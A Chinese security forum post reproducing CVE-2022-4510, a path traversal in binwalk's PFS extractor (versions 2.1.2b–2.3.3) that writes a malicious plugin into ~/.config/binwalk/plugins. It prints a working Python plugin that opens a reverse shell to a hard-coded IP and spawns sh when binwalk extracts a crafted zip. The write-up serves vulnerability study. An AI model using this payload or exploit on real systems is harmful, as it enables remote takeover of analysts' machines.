首页
社区
课程
招聘
[分享]binwalk路径穿越导致RCE(CVE-2022-4510)
发表于: 2023-2-7 21:15 10531

[分享]binwalk路径穿越导致RCE(CVE-2022-4510)

2023-2-7 21:15
10531

简介

在 binwalk 中有一个提取 PFS 文件的插件,一般在嵌入式设备中涉及这种文件格式,但是它在提取文件的时候,路径取的有问题,使会导致路径穿越,把文件写到任意的地方

效果

配合 binwalk 可以在 ~/.config/binwalk/plugins 下面自定义插件运行的特性,通过路径穿越把 python 脚本写在这里,基本能执行任意的命令(毕竟 python 可以 os.system)

局限

因为不知道目标的目录结构,可能没法准确的放到那个目录,可以考虑其他利用方式,参考文章有提到

影响范围

2.1.2b 到 2.3.3

复现过程

b08K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6d9k6f1k6A6M7X3#2x3j5h3u0K6i4K6u0r3j5X3W2F1N6$3q4D9K9H3`.`. 的 release 界面找到一个在漏洞范围内的下载下来,比如 2.3.3,然后解压出来放在一台 ubuntu 上,进入目录,python setup.py install 安装一下,poc 这里有:995K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6d9k6f1k6A6M7X3#2x3j5h3u0K6i4K6u0r3j5X3W2F1N6$3q4D9K9#2)9J5c8Y4m8#2L8r3I4Q4x3V1j5$3x3e0M7`.

在 ~ 目录下使用 binwalk -Me poc.zip 看一下是不是有效果

接下来看一下 POC 是怎么构成的

压缩包里面有个 pfs 文件

解压出来看看,前面是文件头加路径,后面是文件内容,经过尝试文件内容前面的 C1 就是文件内容长度

接下来保持前面不变,我们自己写个 python 脚本放在 PFS 文件中,并且把长度改一下,然后保存成一个压缩包

import binwalk.core.plugin
import socket,subprocess,os,pty
class MaliciousExtractor(binwalk.core.plugin.Plugin):
    def init(self):
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect(("192.168.132.131",9999))
        os.dup2(s.fileno(),0)
        os.dup2(s.fileno(),1)
        os.dup2(s.fileno(),2)
        pty.spawn("sh")


binwalk -Me malicious.zip 然后 RCE!


参考:

c9bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6d9k6f1k6A6M7X3#2x3j5h3u0K6i4K6u0r3j5X3W2F1N6$3q4D9K9#2)9J5c8Y4m8#2L8r3I4Q4x3V1j5$3x3e0M7`.

27cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6G2L8X3g2C8k6i4W2Q4x3X3g2U0L8$3#2Q4x3V1k6T1L8r3!0Y4i4K6u0r3M7$3g2U0N6i4u0A6N6s2W2Q4x3X3c8S2k6s2k6A6M7$3!0J5P5g2)9J5k6s2u0W2L8h3!0@1k6g2)9J5k6r3y4G2L8h3#2S2L8X3c8Q4x3X3c8W2P5r3g2U0N6i4c8A6L8$3&6Q4x3X3c8A6L8W2)9J5k6r3u0A6L8Y4N6S2L8r3E0Q4x3V1j5`.



[培训]科锐逆向工程师培训第53期2025年7月8日开班!

收藏
免费 2
支持
分享
最新回复 (1)
雪    币: 2258
活跃值: (4911)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
2
有意思
2023-2-10 16:31
0
游客
登录 | 注册 方可回帖
返回